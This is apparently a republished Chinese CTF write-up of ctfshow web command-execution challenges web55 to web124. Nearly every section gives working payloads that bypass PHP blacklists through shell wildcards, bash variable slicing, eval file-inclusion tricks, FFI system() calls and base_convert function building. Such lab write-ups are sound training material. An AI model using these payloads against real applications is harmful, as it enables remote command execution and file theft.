ctfshow web入门 命令执行后篇(web55-web188)

Posted parkour-

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 命令执行后篇(web55-web188)相关的知识,希望对你有一定的参考价值。

目录

web55

web56

web57

web58

web59

web60

web61

web62

web63

web64

web65

web66

web67

web68-70

web71

web72

web73

web74

web75-76

web77

web118

web119

web120

web121

web122

web124


web55

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

这个题就比较可以了,把字母过滤了,但是还保留了数字

然后解题的姿势比较可以

第一个为使用base64进行匹配

可以匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

我们知道了base64,可以用通配符进行匹配命令执行进行查看flag

?c=/???/????64 flag.php
意思/bin/base64 flag.php

第二个为bzip2命令

思路是,将flag文件进行压缩,然后再访问下载

/usr/bin目录下主要放置一些应用软件工具必备的执行档

c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等

其中,我们可以利用/usr/bin下的bzip2

?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php

第三个运用.(进行)执行sh命令

再之前我们要上传post文件数据包

源码如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包,执行poc执行命令

?c=.+/???/????????[@-[]

添加sh命令就可

#!/bin/sh
ls

具体这个方法,我还没大学懂,还得继续努力

web56

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

此题和上一题一样,但是数字也被过滤掉了,需要上传POST数据文件

然后,上传后抓包

?c=.+/???/????????[@-[]

再执行sh命令

#!/bin/sh
ls
#!/bin/sh
tac flag.php

web57

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
​
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤掉了许多东西,但是最后只需要让我们让c等于36即可

payload:

1.

$(())输出0,数学运算
~$(())输出~0
$((~$(())))输出-1
所以再这我们只需要让36个-1相加再取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

2.

?c=grep${IFS}'fla'${IFS}fla??php

web58

禁用函数

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

直接用system函数试一下,发现被禁用了,然后又试了其他的函数都被禁用了

然后我们可以用读取文件的方式进行,在这里它没有禁用文件读取

c=echo file_get_contents("flag.php");

可以得到flag

web59

源码没变。但引用的函数肯定是越来越多

这个题直接使用读取文件的方式已经不行,被禁用了

然后这个题可以直接include函数,然后文件读取的方式即可

然后得到base64的编码,直接解码就可

web60

源码依旧没变,然后试一下上一题的include方法,依然可以用

然后这个题可以使用高亮函数,直接

c=highlight_file("flag.php");

web61

依然是源码没有改变,这个题前两个的payload也可以直接用

然后这个也可以用show_source()函数

c=show_source("flag.php");

web62

这个题emm,还是前几个payload都可以直接白嫖

然后,我们还可以用这个方法

c=include("flag.php");echo $flag;

web63

依旧是那个源码,用之前的payload也是可行的

然后,我们这个题可以用一下var_dump

c=include('flag.php');var_dump(get_defined_vars());

web64

源码依然是一样的,前面payload都可以使用

这个题可以使用其他的

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web65

依然是那个函数,直接show_source()得flag

web66

源码还是那个源码,但是show_source被禁用了

但是高亮函数是肯定没有被禁了,我们可以用高亮函数

但是发现flag不在flag.php中,位置不对

我们查看一下位置

c=print_r(scandir("/"));看一下根目录

发现到了flag.txt

然后直接flag.txt

c=highlight_file('/flag.txt');

web67

这个题和上一题相似,直接显示flag.php是没有的,真正的flag不在flag.php,然后多了

print_r函数的过滤,我们可以改用var_dump

c=highlight_file('/flag.txt');

web68-70

一上来居然没有代码,所以很明显,那种显示的函数肯定是被禁的

show_source、highlight_file、file_get_contents

所以我们可以用文件包含的方式,

payload:

c=include("/flag.txt");
c=require_once('/flag.txt');

web71

附件中的源码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
​
?>
函数解释
ob_get_contents()——返回输出缓冲区的内容
ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲

解题的思路

执行PHP代码,让后面的匹配缓冲区不执行直接退出

payload

c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();

web72

题目还没弄懂,后期补上

web73

题目hint里面给出了一个payload

c=?><?php    //前面的?>用来闭合<?
    $a=new DirectoryIterator("glob:///*");   //php使用glob遍历文件夹
    foreach($a as $f) 
    {
        echo($f->__toString().' ');
    } 
    exit(0);
?>

这个方法是采用了数组遍历,输出根目录下所有的文件

另一个payload可以直接用前一题的payload

c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();

web74

这题又ban了scandir()函数,

payload:

c=include('/flagc.txt');exit();

web75-76

还没搞懂,先上hint

//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>
#通过payload扫描 flag36.txt
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

这个题,也不大懂~~~

先放上hint吧

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

web118

首先给我们了两个hint点

hint1:

hint2:为两个payload

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
​
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

这个题的具体含义为利用~获取变量的最后几位,如

~0获取最后一位
~1获取最后两位
~[a-z]/[A-Z]获取最后一位,等同数字0
在这要配合$PWD,$PATH
$PWD——echo $PWD会输出当前目录名

注:

一般$PATH是以bin结尾,所以${PATH:-A}为n
在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l

我们可以利用这个代替,生成出nl再读取文件,题目也是过滤掉了数字和小写字母,当然flag,php关键词也被过滤掉了,flag.php依然是用????.???

所以payload

code=${PATH:~A}${PWD:~A} ????.???

web119

hint还是两个第一个就是上一个图

第二个hint

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
​
${PWD:${Z}:${#SHLVL}}    ====>   /
​
/bin/cat flag.php
​
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

基于上一题的做法,但是这一题过滤掉了PATH和BASH,所以我们要构造出

/bin/base64 flag.php
${#RANDOM}的值大概率是4或5,这就构造出4了
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/

所以payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

就可以得到了base64的编码,解码一下得到flag

web120

给了源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|\\!|\\=|\\^|\\*|\\x26|\\%|\\<|\\>|\\'|\\"|\\`|\\||\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
​
?>

又过滤掉了好多东西,但是上一题的payload可以直接用。

hint:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

提示构造的结果为

/bin/cat flag.php

所以说

${USER:}的最后一位为a

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|_|~|\\!|\\=|\\^|\\*|\\x26|\\%|\\<|\\>|\\'|\\"|\\`|\\||\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
​
?> 

源码也是给我们了,过滤了超多东西,最重要的SHLVL被过滤掉了,所以需要用别的方法代替1,

${##}和${#?}可以代替

payload:

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???
/bin/rev flag.php
${IFS}的默认长度为3,${PWD:${#IFS}:${#?}}的值为r,用到的rev命令,会倒叙输出

输出完再进行,倒叙处理得到flag

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\\x09|\\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\\/|\\(|\\)|\\[|\\]|\\\\\\\\|\\+|\\-|_|~|\\!|\\=|\\^|\\*|\\x26|#|%|\\>|\\'|\\"|\\`|\\||\\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
​
?> 

源码给我们了,在这PWD被过滤了

在这PWD可以用HOME代替,其他的没有改变,所以,我们只需要得到一个数字1就能通过。

$?,上一条命令执行结束后的传回值,通常0代表执行成功,非0代表执行有误

4我们也可以进行输出,但是需要不断刷新几率比较小

${RANDOM::$?}

连在一起可以得到payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web124

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45
​
*/
​
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\\t', '\\r', '\\n','\\'', '"', '`', '\\[', '\\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\\x7f-\\xff][a-zA-Z_0-9\\x7f-\\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这个题,只能用它给的函数,然后限定了传入的值的长度为80。

然后注意白名单的函数

base_convert():在任意进制直接转换数字
dechex():把十进制转换为十六进制数
hex2bin():把十六进制的字符串转换为ASCLL字符

无绕过payload

?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")

因为[]被ban了,可以用{}代替,后面内容还没看明白

先附上payload

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php;

做完这些题目,发现掌握了一些新知识,当时还有题目没有做出来,后面二刷或多刷肯定会补上,进行不断学习~~~

命令执行就先告一段落了

以上是关于ctfshow web入门 命令执行后篇(web55-web188)的主要内容,如果未能解决你的问题,请参考以下文章

ctfshow web入门 命令执行前篇(web29-web54)

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW web入门 java反序列化篇 web855

CTFshow刷题日记-WEB-命令执行下55-77

SSTI模板注入-中括号args单双引号被过滤绕过(ctfshow web入门365)

ctfshow之web入门1